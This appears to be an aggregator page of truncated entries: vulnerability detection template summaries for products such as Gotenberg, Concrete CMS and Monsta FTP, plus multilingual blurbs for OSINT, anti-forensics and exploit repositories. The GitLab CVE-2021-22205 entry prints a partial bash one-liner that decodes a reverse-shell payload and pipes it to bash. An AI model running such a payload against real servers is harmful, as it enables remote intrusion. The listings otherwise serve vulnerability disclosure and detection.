Gotenberg <= 8.30.1 - Remote Code Execution

Gotenberg through 8.30.1 sanitizes only the keys of the JSON metadata submitted to the PDF metadata write endpoint, leaving the values unvalidated. A newline inside a metadata value is written straight to the ExifTool process standard input, where it terminates the current argument and starts a n...

Concrete CMS <9.5.1 - Unauthenticated File-Usage Internal Metadata Disclosure

Concrete CMS 9.5.0 and below is vulnerable to IDOR combined with a missing authentication gate. The endpoint /ccm/system/dialogs/file/usage/fID accepts an integer file ID in the URL and returns internal site structure data page IDs, versions, URL paths to anyone who sends a GET request. id:...

MagicMirror <= 2.35.0 - Server-Side Request Forgery

An unauthenticated Server-Side Request Forgery SSRF vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment...

Gotenberg <= 8.30.1 - Server Side Request Forgery

Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression ^https?:// to match URL schemes. Because Go's net/url.Parse normalizes...

Monsta FTP <= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass

Monsta FTP before 2.14.5 contains a server-side request forgery vulnerability in the fetchRemoteFile action caused by an incomplete IP blocklist check in the isBlockedIP function, which fails to detect embedded IPv4 addresses within IPv4-mapped IPv6 addresses. id: CVE-2026-60105 info: name: Monst...

Gotenberg - Command Injection

Gotenberg 8.31.0 contains a command injection caused by lack of validation on JSON metadata keys in /forms/pdfengines/metadata/write endpoint, letting unauthenticated attackers execute OS commands, exploit requires crafted HTTP request. id: CVE-2026-42589 info: name: Gotenberg - Command Injection...

Kan <= 0.5.4 - Server-Side Request Forgery

Kan, an open-source project management tool Trello alternative, versions 0.5.4 and below are vulnerable to an unauthenticated Server-Side Request Forgery in the /api/download/attatchment endpoint. The endpoint passes the attacker-controlled url query parameter straight to a server-side fetch...

DomainMOD 4.13.0 - Cross-Site Scripting

DomainMOD 4.13.0 is vulnerable to cross-site scripting via reporting/domains/cost-by-owner.php in the "or Expiring Between" parameter. id: CVE-2020-20988 info: name: DomainMOD 4.13.0 - Cross-Site Scripting author: arafatansari severity: medium description: | DomainMOD 4.13.0 is vulnerable to...

ResourceSpace - Metadata Export

In Montala ResourceSpace through 9.8 before r19636, csvexportresultsmetadata.php allows attackers to export collection metadata via a non-NULL k value. id: CVE-2022-31260 info: name: ResourceSpace - Metadata Export author: ritikchaddha severity: medium description: | In Montala ResourceSpace...

Rank Math SEO < 1.0.229 - Unauthenticated User and Term Metadata Insert/Update/Deletion

Rank Math SEO – AI SEO Tools to Dominate SEO Rankings plugin for WordPress contains a missing capability check on 'updatemetadata' in all versions up to 1.0.228, letting unauthenticated attackers insert, update, or delete metadata, including user and term metadata, potentially causing loss of...

WordPress 3D FlipBook <= 1.16.17 - Information Disclosure

WordPress 3D FlipBook - PDF Flipbook Viewer, Flipbook Image Gallery plugin versions = 1.16.17 contain a missing authorization vulnerability in multiple AJAX endpoints. The fb3dsendpostsin, fb3dsendpostpages, fb3dsendpostsinpages, fb3dsendpostsinfirstpage, and fb3dsendpostfirstpage handlers are...

web-wordlist-generator

WEB-Wordlist-Generator NOTE : Vous devez absolument l'utiliser pour des activités légales. Veuillez consulter ; USAGEPOLICY.md LICENSE Description WEB-Wordlist-Generator analyse vos applications web et crée des listes de mots associées pour prendre des contre-mesures préliminaires contre les...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 однострочный bash PoC для GitLab preauth RCE CVE-2021-22205 t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

Stompy

Stompy Une fonction PowerShell pour effectuer du timestomping sur des fichiers et répertoires spécifiés. La fonction peut modifier les horodatages de manière récursive pour tous les fichiers d'un répertoire. Modifier les horodatages de fichiers ou répertoires individuels. Appliquer récursivement...

gitrecon

gitrecon Github 또는 Gitlab 프로필에서 정보를 가져오고 커밋에서 유출된 사용자의 이메일 주소를 찾는 OSINT 도구. 📚 어떻게 작동하나요? GitHub는 GitHub 계정과 연결된 이메일 주소를 사용하여 커밋 및 기타 활동을 GitHub 프로필에 연결합니다. 사용자가 공개 저장소에 커밋을 하면 일반적으로 해당 커밋에 이메일 주소가 게시되며, 어디를 봐야 하는지만 알면 공개적으로 접근 가능하게 됩니다. GitHub는 이를 방지하기 위한 지침을 제공하지만, 대부분의 GitHub 사용자는 자신의 이메일 주소가 노...

advisories

В этом репозитории нет README...

CVE-2025-47917

Exploit CVE-2025-47917 Use-After-Free dans mbedTLS Auteur : Byte Reaper Telegram : @ByteReaper0 CVE : CVE-2025-47917 Vulnérabilité : Use-After-Free UAF dans l'analyse de noms de mbedTLS 3.6.4 Description Ce dépôt contient un exploit ciblant une vulnérabilité Use-After-Free dans la fonction...

Metaforge

Metaforge "Un outil OSINT qui analyse les métadonnées et crée des rapports dynamiques" https://chriswmorris.github.io/Metaforge/ Projet de conception senior 2019 - Par Chris Morris et Collin Mockbee Une application Python3 pour les systèmes d'exploitation basés sur Unix Remarque : Metaforge...

fatt

66 61 74 74 2e Empreinte de tout ! Plus d'informations sur les méthodes d'empreinte, des cas d'utilisation et des résultats de recherche seront ajoutés au dépôt bientôt. Restez à l'écoute ! Un script pour extraire les métadonnées réseau et les empreintes telles que JA3 et HASSH à partir de fichie...

Exif-Remove

Outil en ligne de commande - Supprimez les données Exif facilement Cet outil est créé en Python 2.7 compilé avec pyinstaller pour Windows. Rien de spécial, il me facilite simplement le travail, peut-être le fera-t-il aussi pour vous. Pour quelle raison ? Les Exif sont des métadonnées cachées dans...